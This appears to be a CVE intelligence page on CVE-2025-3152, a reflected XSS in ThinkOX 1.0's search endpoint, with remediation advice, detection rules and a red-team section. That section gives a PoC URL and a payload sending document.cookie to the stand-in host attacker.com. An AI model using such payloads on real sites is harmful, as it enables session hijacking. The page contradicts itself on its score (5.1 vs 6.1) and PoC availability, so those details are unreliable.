☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3152

CVE-2025-3152 Cross-Site Scripting in Caipeichao
📅 PUBLISHED: 2025-04-03 08:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3152 is a reflected Cross-Site Scripting (XSS) vulnerability identified in the ThinkOX 1.0 application by Caipeichao. The flaw resides in the search functionality of the /ThinkOX-master/index.php?s=/Weibo/Index/search.html endpoint. An attacker can inject arbitrary JavaScript code via the keywords parameter, which is not properly sanitized before being reflected back to the user. This allows for remote exploitation without authentication, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone PHP application. The risk is limited to organizations deploying ThinkOX 1.0 directly.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the public availability of a proof-of-concept elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The ThinkOX application's search functionality at /ThinkOX-master/index.php?s=/Weibo/Index/search.html accepts user input via the keywords GET parameter. This input is then reflected directly into the HTML response without proper encoding or sanitization. An attacker can craft a malicious URL containing JavaScript payloads in the keywords parameter. When a victim clicks the link, the payload executes in the context of the victim's browser session on the vulnerable domain.

Root Cause: Lack of output encoding for user-supplied data in the search results page.

Attack Flow:

  1. Attacker crafts a URL: http://target/ThinkOX-master/index.php?s=/Weibo/Index/search.html&keywords=<script>alert('XSS')</script>
  2. Attacker distributes the link via phishing, social media, or other means.
  3. Victim clicks the link while authenticated to the ThinkOX application.
  4. The malicious script executes, potentially stealing session cookies, redirecting to a phishing page, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (ThinkOX 1.0): The search functionality likely echoes the keywords parameter directly without sanitization. Example:

<?php
$keywords = $_GET['keywords'];
echo "Search results for: " . $keywords;
?>

Patched Code (Hypothetical): Proper output encoding using htmlspecialchars() or equivalent:

<?php
$keywords = htmlspecialchars($_GET['keywords'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $keywords;
?>

No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof-of-Concept (PoC): The following URL demonstrates the vulnerability:

http://target/ThinkOX-master/index.php?s=/Weibo/Index/search.html&keywords=<script>alert(document.cookie)</script>

Advanced Payload (Session Hijacking):

http://target/ThinkOX-master/index.php?s=/Weibo/Index/search.html&keywords=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

  1. Deploy ThinkOX 1.0 on a local server (e.g., XAMPP, LAMP).
  2. Access the vulnerable URL with a malicious payload.
  3. Observe the script execution in the browser.

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests to /ThinkOX-master/index.php?s=/Weibo/Index/search.html containing suspicious keywords parameters (e.g., <script>, onerror, javascript:).
  • Use WAF rules to block XSS patterns in the keywords parameter.

Defense:

  • Apply input validation and output encoding to the keywords parameter.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Restrict access to the vulnerable endpoint if possible.

Indicators of Compromise (IOCs)

  • URL Pattern: /ThinkOX-master/index.php?s=/Weibo/Index/search.html&keywords=*
  • HTTP Request Parameters: keywords containing <script>, onerror, alert, document.cookie, or other JavaScript event handlers.
  • Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).
  • Log Entries: Web server logs showing unusual keywords values with HTML/JavaScript tags.

Detection Engineering

YARA Rule

rule CVE_2025_3152_ThinkOX_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-3152 in ThinkOX 1.0"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3152"
    strings:
        $url_pattern = "/ThinkOX-master/index.php?s=/Weibo/Index/search.html"
        $xss_payload1 = /keywords=.*<script>/
        $xss_payload2 = /keywords=.*onerror/
        $xss_payload3 = /keywords=.*alert\(/
    condition:
        $url_pattern and any of ($xss_payload*)
}

Sigma Rule

title: CVE-2025-3152 ThinkOX XSS Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable ThinkOX search endpoint with XSS payloads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ThinkOX-master/index.php?s=/Weibo/Index/search.html'
        cs-uri-query|contains|any:
            - '<script>'
            - 'onerror'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate search queries containing similar strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3152 ThinkOX XSS Exploitation Attempt"; flow:to_server,established; content:"/ThinkOX-master/index.php?s=/Weibo/Index/search.html"; http_uri; content:"keywords="; http_uri; pcre:"/keywords=.*(<script|onerror|alert\(|document\.cookie)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable search functionality if not critical.
  2. Apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in the keywords parameter.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

  • Upgrade to a patched version of ThinkOX if/when available.
  • Sanitize user input using htmlspecialchars() or equivalent in PHP.
  • Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

  • Modify the source code to encode output for the keywords parameter:
$keywords = htmlspecialchars($_GET['keywords'], ENT_QUOTES, 'UTF-8');

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3152/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.